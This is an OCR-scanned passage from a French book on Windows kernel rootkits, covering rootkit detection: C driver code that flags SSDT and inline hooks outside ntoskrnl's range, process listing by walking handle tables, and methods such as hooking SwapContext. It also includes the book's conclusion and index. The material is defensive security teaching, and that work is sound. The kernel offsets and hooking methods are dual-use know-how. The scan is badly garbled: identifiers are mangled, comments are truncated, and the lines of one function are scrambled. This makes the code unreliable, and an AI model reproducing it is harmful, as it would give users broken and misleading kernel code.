typedef struct _NT0SKRNL { 

DWORD Base; 

DWORD End; 

} NTOSKRNL, *PNTOSKRNL; 

PMODULE_LIST g_pml; 

NTOSKRNL g_ntoskrnl; 

NTSTATUS DriverEntry(IN PDRIVER_OBDECT DriverObject, 

IN PUNICODE_STRING RegistryPath) 

{ 

int count; g_pml = NULL; g_ntoskrnl.Base = 0; g_ntoskrnl . End = 0; 
g_pml = GetListOfModules(); 
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if ( !g_pml) 

return STATUSJJNSUCCESSFUL; for (count = 0; count < 
g_pml->d_Modules; count++) 

{ 

II Recherche l'entree correspondent a ntoskrnl.exe if 
(_stricmp( "ntoskrnl.exe 11 ., g_pml-> 

a_Modules [ count ] .a_bPath + g_pml->a_Modules[count] jW_NameOffset) == 0) 

I 

g_ntoskrnl.Base = (DWORD)g_pml->a_Modules[count] .p_Base; g_ntoskrnl.End 
= (( DWORD )g_pml-> 

a_Modules[count] .p_Base + g_pml- 
>a_Modules[count] .d_Size); 

} 

} 

ExFreePool(g_pml); if (g_ntoskrnl.Base != 0) return STATUS_SUCCESS; 
else 

return STATUSJJNSUCCESSFUL; 

} 

La fonction suivante envoie en sortie un message de debugging si elle trouve dans la 
SSDT une adresse qui sort de la plage acceptable : 

#pragma pack( 1 ) 

typedef struct ServiceDescriptorEntry { 

unsigned int *ServiceTableBase; unsigned 
int *ServiceCounterTableBase; unsigned 
int NumberOfServices; unsigned char 
*ParamTableBase; 

} SDTEntryjt; 

#pragma pack() 

// Importe KeServiceDescriptorTable depuis ntoskrnl.exe 
_ declspec(dllimport) SDTEntry_t KeServiceDescriptorTable; 

void IdentifySSDTHooks(void) 

{ 

int i; 

for (i = 0; i < KeServiceDescriptorTable. NumberOfServices ; i++) 

{ 

if ((KeServiceDescriptorTable. ServiceTableBase[i] < 

g_ntoskrnl . Base) |j 

( KeServiceDescriptorTable. ServiceTableBase[i] > 

g_ntoskrnl . End) ) 

{ 

DbgPrint("System call %d is hooked at address %x!\n"j i, 
KeServiceDescriptorTable. ServiceTableBase[i] ); 
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Rechercher les hooks de la SSDT est une methode de detection tres efficace, mais ne 
vous etonnez pas si vous en trouvez qui ne sont pas des rootkits. Souvenez-vous que de 
nombreux logiciels de protection actuels hookent egalement le noyau et diverses API. 

La section suivante expose comment detecter certains hooks de fonctions en ligne, 
lesquels ont ete couverts au Chapitre 4. 


Detecter les hooks en ligne 

Pour simplifier, nous rechercherons ici uniquement les patchs de detours qui 
surviennent dans les premiers octets du preambule d’une fonction (le desassemblage 
complet d’une fonction du noyau depasse le cadre de cet ouvrage). Pour detecter un tel 
patch, nous employons la fonction CheckNtoskrnlForOutsidelump : 

///////////////////////////////////////////////////// 

// DWORD CheckForOutsidelump 

// 

// Description : 

// Cette fonction prend l'adresse de la fonction a verifier. // Elle 
examine les premiers opcodes a la recherche // de sauts immediats, 
etc . 

// 

DWORD CheckNtoskrnlForOutsidelump (DWORD dw_addr) 

{ 

BYTE opcode = *( (PBYTE) (dw_addr) ) ; 

DWORD hook = 0; 

WORD desc = 0; 

// Void les opcodes de sauts relatifs inconditionnels . 

// L' opcode 0xeb est un saut relatif qui occupe un octet et peut 
// done sauter au maximum 255 octets depuis l'EIP courant. 

// 

// Nous ne savons pas encore comment gerer 1' opcode 0xea. II // 
ressemble a imp XXXX : XXXXXXXX . Pour le moment, nous ignorerons 
// simplement les deux premiers 
// ajouter ces deux octets car 
if ((opcode == 0xe8) || (opcode 
{ 

// | | (opcode == 0xeb) -> Ces 
hook |= *((PBYTE)(dw_addr+l)) 
hook |= *((PBYTE)(dw_addr+2)) 
hook |= *((PBYTE)(dw_addr+3)) 
hook |= *((PBYTE)(dw_addr+4)) 
hook += 5 + dw_addr; 

} 

else if (opcode == 0xea) 

{ 

hook |= *((PBYTE)(dw_addr+l)) 
hook j= *((PBYTE)(dw_addr+2)) 


octets. Dans le futur, vous devriez 
Lis representent le segment. 

== 0xe9)) 

sauts courts sont ignores 
« 0 ; 

« 8 ; 

« 16; 

« 24; 


« 0 ; « 
s; 
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hook |= *( (PBYTE) (dw_addr+3) ) « 16; hook j= *( (PBYTE) (dw_addr+4) ) 

« 24; 

II Une mlse a jour s' impose pour refleter 1' entree de la GDT, 

II mais nous l'ignorons pour le moment, desc = *((WORD 
*) (dw_addr+5) ) ; 

1 

II Maintenant que nous connaissons la destination du saut, 

II il faut verifier si le hook est en dehors de II Ntoskrnl. 

S'il ne l'est pas, retourne 0. if (hook != 0) 

{ 

if ((hook < g_ntoskrnl.Base) || (hook > g_ntoskrnl.End)) hook = 
hook; else 
hook = 0; 

} 

return hook; 

} 

A partir de l’adresse d’une fonction dans la SSDT, CheckNtoskrnlForOutsidelump 
recherche dans cette fonction un saut inconditionnel immediat. Si elle en trouve un, 
elle tente de resoudre l’adresse vers laquelle le processeur se debranchera. Elle 
examine ensuite cette adresse pour determiner si elle se trouve en dehors de la plage 
acceptable pour Ntoskrnl. exe. 

En adaptant la plage, vous pouvez utiliser ce code pour rechercher des hooks en ligne 
dans les premiers octets de n’importe quelle fonction. 

Detecter les hooks de gestionnaires d'IRP 

Avec la fonction ZwQuerySystemlnformation, vous disposez deja du code requis pour 
detecter tous les drivers en memoire, et le Chapitre 4 decrit comment localiser la table 
de gestionnaires d’IRP d’un driver specifique. Pour detecter les hooks de gestionnaires 
d’IRP, il vous suffit done de combiner ces deux techniques. Vous pourriez 
dereferencer chaque pointeur de fonction pour rechercher des hooks en ligne dans les 
gestionnaires a l’aide du code precedent. 

Detecter les hooks d’lAT 

Les hooks d’lAT sont largement utilises par les rootkits pour Windows actuels. Etant 
donne qu’ils operent dans la portion utilisateur d’un processus, ils sont plus faciles a 
programmer que les rootkits en mode noyau et ne requierent pas le meme niveau de 
privileges. Pour cette raison, vous devriez vous assurer que votre logiciel de detection 
recherche ce type de hook. 
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Rechercher les hooks d’lAT est plutot laborieux et implique de recourir a de 
nombreuses techniques presentees dans les chapitres precedents. Ces etapes ne sont 
malgre tout pas compliquees. Pour commencer, vous devez changer de contexte en 
vous plai;ant dans l’espace d’adressage du processus dans lequel vous voulez effectuer 
votre recherche. Autrement dit, votre code de detection doit s’executer dans le 
processus qui est examine. Certaines des methodes employees a cet effet sont 
exposees au Chapitre 4 a la section "Hooks de niveau utilisateur". 

Ensuite, votre code doit recuperer une liste de toutes les DLL qui ont ete chargees par 
le processus. Votre objectif est d’inspecter les fonctions importees en scannant LIAT 
pour identifier celles dont les adresses tombent en dehors des plages des DLL. Une 
fois que vous disposez de cette liste et de la plage d’adresses de chaque DLL, vous 
pouvez adapter le code de la section "Approche de hooking hybride" du Chapitre 4 
pour scanner LIAT de chaque DLL a la recherche de hooks. Vous devriez etre 
particulierement attentif aux DLL Kernel32.dll et Ntdll . dll, qui sont des cibles 
courantes des rootkits car elles servent d’interface utilisateur avec le systeme 
d’ exploitation. 

Si LIAT n’a pas ete hookee, vous devriez neanmoins en profiter pour examiner les 
fonctions elles-memes afm de verifier qu’elles ne contiennent pas de hooks en ligne. 
Le code necessaire pour cela a ete presente plus haut, dans la fonction 
CheckNtoskrnlForOut side Dump . II vous suffit de changer la plage de la DLL cible. 

Voici plus en detail comment proceder. Une fois que vous vous trouvez dans Tespace 
d’adressage d’un processus, vous disposez de differentes methodes pour obtenir une 
liste de ses DLL. Par exemple, l’API Win32 possede une fonction Enum- 
ProcessModules : 

BOOL EnumProcessModulesf 
HANDLE hProcesSj 
HMODULE* IphModulej 
DWORD Cb, 

LPDW0RD lpcbNeeded 

); 

En passant comme premier parametre un handle sur le processus courant, EnumPro- 
cessModules retoume une liste de toutes les DLL de ce processus. Vous pourriez sinon 
appeler cette fonction depuis l’espace d’adressage de n’importe quel processus, auquel 
cas vous passeriez un handle sur le processus que vous voulez scanner. 
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La fonction EnumProcesses listerait alors tous les processus. Vous n’avez pas a vous 
preoccuper de savoir s’il y a des processus caches puisqu’il vous importe peu que le 
rootkit ait hooke ses propres processus caches. 

Le deuxieme parametre de EnumProcessModules est un pointeur vers le tampon que vous 
devez allouer pour contenir la liste des handles de DLL. Le troisieme parametre est la 
taille de ce tampon. Si l’espace alloue est insuffisant, cette fonction retoumera la taille 
necessaire pour Stocker tous les handles de DLL. 

Vous pouvez recuperer le nom de chaque DLL en appelant la fonction GetModule- 
FileNameEx avec le handle correspond ant. Une autre fonction, GetModulelnforma- tion, 
retoume l’adresse de base et la taille de la DLL correspondant au handle passe comme 
deuxieme parametre. Ces informations sont retournees sous la forme d’une structure 

MODULE INFO : 

typedef struct _M0DULEINF0 { 

LPVOID lpBaseOfDll; 

DWORD SizeOflmage; 

LPVOID EntryPoint; 

} MODULEINFO, *LPM0DULEINF0; 

Avec le nom de la DLL, son adresse de debut et sa taille, vous disposez de toutes les 
informations necessaires pour determiner une plage acceptable pour les fonctions 
qu’elle contient. Ces informations devraient etre stockees dans une liste chainee pour 
que vous puissiez y acceder ulterieurement. 

Vous pouvez maintenant commencer a parcourir chaque fichier en memoire et 
analyser 1’IAT des DLL comme illustre a la section "Approche de hooking hybride" du 
Chapitre 4 (souvenez-vous que FIAT de chaque processus et de chaque DLL peut 
contenir des fonctions importees depuis de nombreuses autres DLL). Mais, ici, lorsque 
vous analysez un processus ou une DLL pour rechercher son IAT, vous devez 
identifier chaque DLL importee. Vous pouvez utiliser le nom de la DLL pour la 
localiser dans la liste chainee. Comparez ensuite chaque adresse dans FIAT aux 
informations de module DLL correspondantes. 

La technique qui vient d’etre decrite requiert les appels API des fonctions 
EnumProcesses, EnumProcessModules, GetModuleFileNameEx et GetModulelnformation. 
Mais un rootkit pourrait avoir hooke ces appels. Pour obtenir la liste des DLL chargees 
dans un processus sans avoir a effectuer d’appel API, vous pouvez analyser le bloc 
d’environnement du processus, ou PEB (Process Environment Block). Ce bloc contient 
une liste chainee de tous les modules charges. Cette approche a longtemps ete utilisee 
par toutes sortes d’attaquants, y compris les auteurs de virus. 
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Pour Pimplementer, vous devrez ecrire un petit programme en assembleur. Le groupe 
de recherche Last Stage of Delirium a ecrit un article tres interessant 1 qui decrit 
comment trouver la liste chainee des DLL dans un processus. 


Rootkit.com 

Les sections de code precedentes permettant de detecter 
les differents types de hooks evoques sont implementees dans I'outil VICE 
disponible a I'adresse 

www.rootkit.com/vault/fuzen op/vice.zip . 

v 1 rjl lllff , 14 &EEEE, 1 mj 


Suivre Pexecution 

Un autre moyen de detecter des hooks dans des API et des services systeme est de 
suivre Pexecution des appels. Cette methode a ete utilisee par Joanna Rutkowska dans 
son outil Patchfinder 2* 2 . Elle part du principe que les hooks provoquent Pexecution 
d’ instructions additionnelles qui ne seraient pas invoquees par des fonctions non 
hookees. Ce programme cree une base de reference a partir de plusieurs fonctions lors 
du demarrage et necessite que le systeme soit exempt de hooks a ce moment precis. II 
appelle ensuite periodiquement ces fonctions pour verifier si des instructions 
additionnelles sont executees par rapport a la base de reference. 

Bien que cette technique fonctionne, elle demande une base de reference intacte. De 
plus, le nombre d’ instructions qu’une fonction donnee execute peut varier d’un appel a 
Pautre, meme si elle n’a pas ete hookee. Ceci est du en grande partie au fait que ce 
nombre depend de P ensemble de donnees que la fonction analyse. II n’est done pas 
possible de definir precisement une variation acceptable de cette difference. 
Rutkowska affirme avoir constate une difference considerable entre une fonction 
hookee et une fonction qui ne Pest pas lors des tests qu’elle a realises avec des rootkits 
connus, mais cet ecart pourrait diminuer dans le cas d’attaques plus sophistiquees. 


1. Last Stage of Delirium Research Group, "Win32 Assembly Components" (mise a jour 12 decembre 2002), 
disponible sur http://lsd-pl.net/windows components.html . 

2. J. Rutkowska, "Detecting Windows Server Compromises with Patchfinder 2" (janvier 2004), disponible a P 
adresse www.invisiblethings.org/papers/rootkits detection with patchfinder2.pdf . 
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Detection du comportement d'un rootkit 

La detection du comportement d’un rootkit est une approche nouvelle dans le domaine 
de la securite. C’est peut-etre meme la plus puissante. Le but est de reperer les etats 
d’ incoherence du systeme d’exploitation. Si vous detectez une API qui retoume des 
valeurs qui sont fausses, vous savez que vous avez identifie non seulement la presence 
d’un rootkit mais egalement ce qu’il tente de dissimuler. La difficult^ est de parvenir a 
determiner la "verite" sans vous appuyer sur l’API qui fait l’objet de la verification. 

Detection de cles de registre et de fichiers caches 

Mark Russinovich et Bryce Cogswell ont developpe un outil, RootkitRevealer 1 , 
capable de detecter les entrees cachees du Registre ainsi que les fichiers caches. Pour 
determiner la "verite", ce programme analyse les fichiers correspondant a differentes 
ruches du Registre sans l’aide des appels standard de l’API Win32, tels que 
RegOpenKeyEx et RegQueryValueEx. II analyse aussi le systeme de fichiers a un niveau 
tres bas, evitant la encore les appels API typiques. II invoque ensuite les API des 
niveaux superieurs pour comparer les resultats avec ce qu’il sait etre vrai. S’il releve 
une incoherence, cela signifie qu’il a identifie le comportement d’un rootkit et les 
donnees que celui-ci cherche a cacher. Cette technique est assez simple et en meme 
temps tres efficace. 

Detection de processus caches 

Les processus et les fichiers caches constituent une des menaces les plus courantes. Un 
processus cache est particulierement dangereux car il s’agit de code execute sur votre 
systeme sans que vous le sachiez. Cette section expose differents moyens permettant 
de detecter les processus qu’un attaquant veut dissimuler. 

Hooker la fonction SwapContext 

Hooker des fonctions est utile lors de la detection. La fonction SwapContext dans 
Ntoskrnl. exe est appelee pour operer un changement de contexte entre le thread en 
cours et celui qui reprend son execution. Lorsqu’elle est invoquee, la valeur contenue 
dans le registre edi est un pointeur vers le prochain thread qui doit devenir actif, et la 
valeur du registre esi est un pointeur vers le thread courant s’appretant a suspendre 
son execution. Pour cette methode de detection, vous devez remplacer le 


1. B. Cogswell et M. Russinovich, RootkitRevealer, disponible a l’adresse www.sysinternals.com/ntw2k/ 

freeware/rootkitreveal.shtml. 
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preambule de SwapContext par un saut inconditionnel de cinq octets vers votre fonction 
de detour. Celle-ci devrait verifier que la structure kthread du thread redevenant actif 
(reference par le registre edi) pointe vers un bloc eprocess qui est correctement lie a la 
liste doublement chainee de blocs eprocess. Grace a cette information, vous pouvez 
detecter un processus qui a ete dissimule a l’aide des techniques DKOM decrites au 
Chapitre 7. Cela fonctionne car la planification d’execution dans le noyau se fait au 
niveau thread et que tous les threads sont lies a leurs processus parents. Cette methode 
a ete initialement documentee par James Butler et al'. 

Vous pouvez sinon employer cette methode pour detecter des processus dissimules par 
hooking. En hookant la fonction SwapContext, vous obtenez la veritable liste de 
processus. Vous pouvez ensuite comparer ces donnees a celles retoumees par les 
appels API de listage de processus, tels que la fonction NtQuerySystemlnf ormation qui 
a ete hookee a la section "Hooking de la SSDT" au Chapitre 4. 

Autres moyens de listage de processus 

La fonction ZwQuerySystemlnformation n’est pas le seul moyen de lister les processus 
d’un systeme, d’autant que les techniques DKOM et de hooking peuvent la tromper. 
Une alternative simple comme le listage des ports avec Netstat peut reveler la presence 
d’un processus cache car celui-ci possede un handle sur un port ouvert. L’utilisation de 
cet outil a ete couverte au Chapitre 4. 

Le processus Csnss.exe constitue une autre approche. II possede un handle sur chaque 
processus a 1’ exception des quatre suivants : 

■ Idle ; 

■ System ; 
il Smss.exe ; 

■ Csrss.exe. 1 


1 . J. Butler et al., "Hidden Processes: The Implication for Intrusion Detection", Proceedings ofthe IEEE 
Workshop on Information Assurance (Academie militaire de West Point, NY), juin 2003. 
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En parcourant les handles dans Csrss. exe et en identifiant les processus auxquels ils 
se referent, vous obtenez un ensemble de donnees que vous pouvez comparer a la liste 
de processus retoumee par les appels API. Dans le bloc eprocess de chaque processus, 
il y a, entre autres informations, un pointeur vers une structure handle table qui 
contient un pointeur vers la table de handles de ce processus. Le Tableau 10.1 contient 
les offsets requis pour trouver la table de handles de chaque processus. Pour en savoir 
plus sur T analyse des tables de handles, consultez l’ouvrage Microsoft Windows 
Internais, de Russinovich et Solomon 1 2 . 


Tableau 10.1 : Offsets pour localiser les handles a partir d'un bloc EPROCESS 



Windows 2000 

Windows XP 

Windows 2003 

Offset de HANDLE TABLE 
dans EPROCESS 

0x128 

0xC4 

0xC4 

Offset de la table 

0x8 

0X0 

0X0 

dans HANDLE_TABLE 





II existe encore une autre technique permettant d’eviter de s’appuyer sur des appels 
API pouvant avoir ete hookes. Comme il a ete dit, le bloc eprocess de chaque 
processus contient un pointeur vers une structure handle table. Il se trouve que toutes 
ces structures sont bees entre elles via une structure list_entry, de la meme maniere 
que tous les processus sont lies entre eux via une structure list entry (voir Chapitre 
7). En localisant la structure handle table de chaque processus et en parcourant la liste 
des tables de handles, vous pouvez identifier tous les processus du systeme. Alors que 
nous redigeons le present ouvrage, nous pensons que le produit BlackLight 1 2 de 
Tediteur d’antivirus F-Secure s’appuie sur cette technique. 

Pour parcourir la liste des tables de handles, vous avez besoin de 1’ offset de la 
structure list entry dans la structure handle table (en plus de Foffset du pointeur 
vers cette demiere dans le bloc eprocess, lequel est donne au Tableau 10.1). La 
structure handletable contient egalement le PID ( Process ID) du processus 
proprietaire. Ce PID se trouve a des offsets differents selon la version du systeme 


1 . M. Russinovich et D. Solomon, Microsoft Windows Internais, Fourth Edition (Redmond, Wash. : Microsoft 
Press, 2005). pp. 124 A -9. 

2. F-Secure BlackLight (Helsinki. Finland : F-Secure Coiporation, 2005), disponible a l’adresse 
www.fsecure.com/blacklight . 
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d’ exploitation. Les offsets permettant d’identifier chaque processus a partir de son PID 
sont indiques au Tableau 10.2. 


Tableau 10.2 : Offsets utilises pour parcourir les tables de handles et identifier les processus 




Windows 2000 

Windows XP 

Windows 2003 

Offset 

HANDLE_ 

de LIST_ENTRY dans 
TABLE 

0x54 

0x1 C 

0x1 C 

Offset 

HANDLE_ 

du PID dans 
TABLE 

0x10 

0x08 

0x08 


Pour chaque processus traverse au moyen des valeurs de list entry, vous pouvez 
determiner le PID proprietaire. Vous disposez ainsi d’un autre ensemble de donnees a 
comparer aux resultats des appels API au cas oil ceux-ci manqueraient de lister un 
processus particulier. La fonction suivante liste tous les processus du systeme en 
parcourant la liste chainee de tables de handles : 

void ListProcessesByHandleTable(void) 

{ 

PEPROCESS eproc; 

PLIST_ENTRY start_plist, plist_hTable = NULL; 

PDWORD d_pid; 

// Recupere le bloc EPROCESS courant 
eproc = PsGetCurrentProcess(); 

plistjiiable = (PLIST_ENTRY) ((* (PDWORD) ( (DWORD) eproc + HANDLETABLEOFFSET) ) 

+ HANDLELISTOFFSET) ; 
start_plist = plist_hTable; 
do 
{ 

d_pid = (PDWORD) ( ( (DWORD)plist_hTable + EPROCPIDOFFSET) 

- HANDLELISTOFFSET); 

// Envoie le PID du processus en sortie en tant que // 
message de debugging. Vous pourriez le Stocker // pour le 
comparer aux appels API. 

DbgPrint("Process ID: %d\n", *d_pid); 

// Continue 

plist_hTable = plist_hTable->Flink; 

}while (start_plist != plist_hTable) ; 

} 

Cette methode de detection des processus caches est tres efficace. Si le rootkit ne 
modifie pas cette liste dans le noyau, ce qui est de toute fag on difficile a faire, vous 
pourrez reperer ses processus caches. II existe dans le noyau d’autres structures 
similaires pouvant etre utilisees aux memes fins. Les techniques de detection evoluent 
aussi rapidement que les rootkits. 
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Conclusion 

Ce chapitre a illustre de nombreux moyens differents de detecter des rootkits, en 
couvrant tantot leur implementation pratique tantot la theorie sous-jacente. 

La plupart des methodes qui ont ete exposees ont trait a la detection de hooks et de 
processus caches. Des livres entiers pourraient etre consacres a la detection au niveau 
du systeme de fichiers ou a la detection de canaux de communication secrets. Mais, en 
apprenant deja a identifier des hooks, vous serez en mesure de reperer la majorite des 
rootkits publics. 

Aucune methode de detection n’ est exhaustive ou fiable a 1 00 % car la detection est un 
art. A mesure que les attaquants progressent, les methodes de protection evoluent 
egalement. 

La divulgation des techniques d’ implementation et de detection de rootkits a pour 
inconvenient de profiter egalement aux attaquants, lesquels modifient ensuite leur 
methodologie en consequence. Toutefois, le fait qu’une technique d’ infiltration n’ait 
pas ete exposee dans un livre ou lors d’une conference ne rend pas les systemes plus 
stirs pour autant. Le niveau de sophistication des attaques presentees dans ce livre est 
de toute fatptn hors de portee de la majorite des aspirants hackers, qui sont 
essentiellement des script -kiddies (pirates adolescents). Nous esperons que les societes 
de securite et les editeurs de systemes d’ exploitation considereront la protection contre 
les methodes abordees ici comme une priorite. 

De nouvelles techniques de rootkits plus avancees et des methodes permettant de les 
detecter sont developpees alors meme que vous lisez ces lignes. Actuellement, 
plusieurs initiatives visent a dissimuler des rootkits en memoire de maniere qu’ils 
echappent meme a un scan de la memoire. D’autres groupes cherchent a utiliser les 
composants materiels disposant d’un processeur embarque pour pouvoir scanner la 
memoire du noyau sans s’appuyer sur le systeme d’ exploitation 1 . Ces deux groupes 
divergeront evidemment et, comme aucun d’eux n’a sournis d’ implementation a un 
examen public, il est difficile de dire lequel aura le dessus. Ce qui est sur, c’est que 
chaque approche presentera ses propres limitations et faiblesses. 


1. N. Petroni, J. Molina, T. Fraser et W. Arbaugh (universite du Maryland, College Park. Md.), "Copilot: A 
Coprocessor Based Kernel Runtime Integrity Monitor", article presente lors de la conference Usenix 
Security Symposium 2004 et disponible a I’adresse www.usemx.org/events/sec04/tech/petroni.html . 
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Infiltrations du noyau Windows 


Les programmes de rootkits et de detection evoques dans le paragraphe precedent se 
situent a 1’ extreme du spectre d’outils. Avant de vous en soucier, vous devez d’abord 
vous premunir contre les menaces les plus courantes. Ce livre a montre en quoi elles 
consistent et quelles zones d’un systeme sont concemees. 

Ce n’est que recemment que les entreprises ont commence a montrer un interet pour la 
detection de rootkits. Nous esperons que cette tendance se poursuivra. Des 
consommateurs mieux informes font evoluer les logiciels de protection, de meme que 
des attaquants, d’ ailleurs. 

Comme il a ete dit au Chapitre 1 , les entreprises ne sont motivees a se proteger contre 
les menaces potentielles qu’a partir du moment ou elles sont victimes d’une attaque. 
Ce livre devrait vous inciter a ne pas attendre qu’un tel incident se produise. 



Index 


Symboles 

$(BASEDIR) (variable) 42 

$(DDK_LIB_PATH) 

(variable) 42 

A 

Acces 

au materiel 233 aux fichiers, 
gestion dans le noyau 35 

controle au moyen d'anneaux 
64 

de niveau root 14 jeton (d’) 76 

Acrostiche 261 

AdjustTokenGroups (fonction) 
210 AdjustTokenPrivileges 
(fonction) 210 Adresses 

de substitution 139 locales 265 
MAC 298 

mapping d’adresses virtuel- 
les/adresses physiques 70 
materielles 234 tables (d’) 66 
virtuelles 

relatives (RVA) 124 
structure 7 1 

AllCPURaised (fonction) 206 
Analyse forensique 13 

alteration avec DKOM 188 
contournement des outils 30 


Anneaux de controle d’acces 

64 

Appel de procedure differe 
(DPC) 166, 206 Appels 
hooks (d’)44, 131 non 
documentes 53 portes (d’) 78 
systeme 67, 82 ARP ( Address 
Resolution Protocol) 298 Attaques 
materielles 31 motifs 12 
multicibles 3 1 par rebond 282 
Attributs etendus (EA), TDI 264 
AUTH ID ( Authentication 
Identifier) 224 


B 

Back Orifice 13 

Backdoors Voir Portes derobees 
BHO ( Browser Helper Object ) 

310 

Bibliotheques 

emplacement par defaut 42 
liaison 41 NDIS 286 
pour le support de TCP/IP 
dans le noyau 263 tierces 38 

BIOS, acces (au) 238 Blink 
(outil) 28 


Bloc d’environnement d’un 
processus (PEB) 319 Bloc de 
controle de processeur (KPRCB) 
196 Bombes logiques 12 Boot- 
loader, modification 60 Build 
(utilitaire) 42 Bus 
d’adressage 234 de 
donnees 234 de 
peripheriques 236 du 
processeur 236 PCI 
237 

c 

CALL (instruction) 312 
Callback, fonctions (de) 123, 284 
Canaux de communication 
secrets 255 

connexion a un serveur distant 
273 

controle a distance 256 
dissimulation dans des 
protocoles TCP/IP 258 
acrostiches 260 chiffrement 
259 dans DNS 258 dans ICMP 
262 exploitation de l'intervalle 
entre les paquets 260 
maintien du niveau de 
trafic existant 259 sous 
DNS 260 

steganographie 259 


328 Index 


Canaux de communication 

secrets (suite) emulation d'hote 
298 envoi de donnees a un serveur 
distant 275 

exfiltration de donnees 256 
manipulation du trafic reseau 277 
emploi de sockets bruts 278 
falsification de forigine des 
paquets 281 rebond de paquets 282 
support de TCP/IP dans le noyau 
via NDIS 283 via TDI 262 
Carte mere 237 Cavernes, pages 
memoire 151 Chantage de 
drivers filtrage de fichiers 171 
rootkit KLOG 159 sniffeur de 
clavier 154 Chargement d’un 
rootkit 52 Checked-build, kit 
DDK 40 

CheckNtoskrnlF orOutside- 
Jump (fonction) 316 Chemin 
d’execution 

de la fonction FindNextFile 88 
modifie par un hook d’lAT 90 
modifie par un patch de detour 132 

Chiffrement 

des donnees stockees 30 du 
trafic 259 

Cisco Security Agent (outil) 28 
Clavier 

acces au controleur (de) 239 
interruptions 246 modification 
des LED 240 ports 241 


redemarrage force d’un 
systeme 246 sniffeur (de) 154, 246 
Cles de registre dissimulation 37 
pour detecter la presence d’un 
rootkit 310, 321 pour determiner la 
version du systeme d’exploitation 
190 pour l’injection de DLL 94 
pour les drivers 310 pour les 
interfaces reseau 284 pour placer 
les tables systeme en ecriture 75 
Run 59 

CLI (instruction) 66 Code 
d’amor^age Voir Microcode 
Code source, modifications 20 
Collecte d’informations 12 
COMMAND BYTE (constante) 
241 

Commandes de controle d’E/S 
(IOCTL) 45 Communication 

canaux secrets 255 entre les 
modes utilisateur et noyau 45, 192 
handles de fichiers 50 hens 
symboliques 5 1 paquets de 
requetes d’E/S (IRP) 46 
Composants du noyau 34 
CONNECHON.CONTEXT 
(pointeur ) 269 CONNINFO101 
(structure) 

120 

CONNINFO102 (structure) 

119 

CONNINFO110 (structure) 

119 

CONTAINING_RECORD 
(macro) 168 


Contexte 

actif d’un processus 76 
changement 318 structure (de) 268 
Contournement des outils 
d’analyse forensique 30 

des systemes de securite 27 
Controle 

a distance 15, 256 d’acces a la 
memoire 64, 68 de flux Voir 
Chemin d’execution registres (de) 
83 Controleurs d’E/S 236 
d’interruptions (PIC) 79, 246 
de clavier 154 8259 239 acces (au) 
239 materiels 234 sur un systeme 
multiprocesseur 84 
ConvertScanCodeToKeyCode 
(fonction) 168 

CPL ( Current Privilege Level) 

68 

CR0 (registre) 83 CRI (registre) 
83 CR2 (registre) 83 CR3 
(registre) 71, 83 CR4 (registre) 
83 CreateRemoteThread 
(fonction) 96 CS (registre) 78 
Csrss.exe 322 

D 

DATA BYTE (constante) 241 
DbgPrint (instruction) 45 DDK 

(Driver Development Kit ) 

40 



Index 329 


Debordement de tampon 18, 

22, 26 

Debugging 

journalisation des directives 

44 

mode de compilation 145 

DebugView (outil) 44 
Dechargement d’un driver/ 
rootkit 

avec InstDrv 43 routine 39, 
43, 169, 291 Deroutements 
(trap) flags 84 portes (de) 81 
Descripteurs 

d'interruptions 78 de 
memoire 77 liste MDL 101 portes 
d’appels 78 Detection 
d’intrusion 27 Detection de 
rootkits 308 recherche de cles de 
registre et de fichiers caches 321 
recherche de hooks 3 1 1 de 
fonctions en ligne 316 de 
gestionnaires d’IRP 317 
de 1’IAT 317 de la 
SSDT314 determination de la 
plage d’adresses des drivers 
312 

suivi de l’execution 320 
recherche de processus caches 
321 

Scan de la memoire 311 
surveillance des points d’entree 

308 Detour 

definition 93 patching 132 

DEVICE JEXTENSION 
(structure) 160 


DeviceloControl (fonction) 

192,217 

DeviceTree (outil) 156 Directives 
de debugging, journalisation 44 
DIRQL (Device IRQL) 206 
DISPATCHJLEVEL (niveau 
d’lRQ) 162 

DispatchPassDown (fonction) 

160 

DispatchRead (fonction) 160, 

164 

Disque 

analyse des octets a la 
recherche de signatures 30 
fichier d’echange/de 
pagination 70 
hooking d’unites 172 
modification du noyau (sur) 60 
Dissimulation 

d’objets du noyau 196 de 
canaux secrets dans TCP/IP 
258 de cles de registre 37 de 
drivers 201 de fichiers 37 de 
ports reseau 1 14 de processus 
a l'aide d'un hook de la 
SSDT 104 avec DKOM 196 
emplacement du code 37 des 
operations de reseau 37 DKOM 
I Direct Kernel Object 
Manipulation) augmentation des 
privileges d’un jeton de processus 
209 avantages et inconvenients 
186 

communication avec un 
driver du noyau 192 


determination de la version 
du systeme d’exploitation 
188 

dissimulation d’objets du 
noyau 196 DLL 

forwarding 91 injection dans 
un processus utilisateur 93 

via des hooks Windows 94 
via des threads distants 96 via le 
Registre 94 listage pour un 
processus 318 DNS, dissimulation 
de communications (dans) 258 
DPC (Deferred Procedure Call ) 

166, 206 

DPL {Descriptor Privilege Level) 68 

DrainOutputBuffer (fonction) 

243 

DRIVER OBJECT (structure) 
203 DriverEntry (fonction) 

analyse de 1’IDT 81 
communication avec un driver 193 
detection de hooks de la SSDT 
314 

drivers de filtrage de fichiers 
171 

handles de fichiers 50 hook 
d’interruption 250 mapping de 
scancodes/codes de touches 159 
patching de detour 142 Drivers 36 
attachement a un peripherique 
161 

bibliotheques liees 41 chainage 
153 chargement approche rapide 
53 



330 Index 


Drivers (suite) 

recommandee avec 
SCM 54 avec InstDrv 43 
en memoire non paginable 
53 

communication depuis le mode 
utilisateur 192 creation d’un 
peripherique 160 
de filtrage de fichiers 171 
dechargement avec InstDrv 43 
routine (de) 39, 43 detachement 
d'un peripherique 169 
dissimulation 201 enregistrement 
d’un peripherique 50 etapes de 
creation 39 extraction du fichier 
.sys 56 fichiers constitutifs 40 
gestion des paquets IRP 46 
handles de fichiers 50 injection de 
code dans le noyau 38 

journalisation des directives de 
debugging 44 kit DDK 40 
lancement automatique au 
demarrage 59 hens symboliques 
51 nommage 41 paginable s 53 
structure 

IO_STACK_LOCATTON 

157 

TDI 263 typiques 38 

Drivers.exe 201 DriverUnload 
(function) 164 


E 

EA (Extended Attributes), TDI 

264 

EAX (registre) 82, 88, 109 EDI 
(registre) 321 EDX (registre) 82, 
88, 109 EFLAGS (registre) 84 
Emulation d’hote 

creation d’une adresse MAC 

298 

envoi de paquets 301 gestion 
du protocole ARP 298 passerelle 

IP 301 Encase (outil) 30 
Enregistrement d’un 
peripherique 50 Entercept (outil) 
28 EnumProcesses (fonction) 319 
EnumProcessModules (fonction) 
318 

EPROCESS (structure) 111, 196 
ETHREAD (structure) 197 
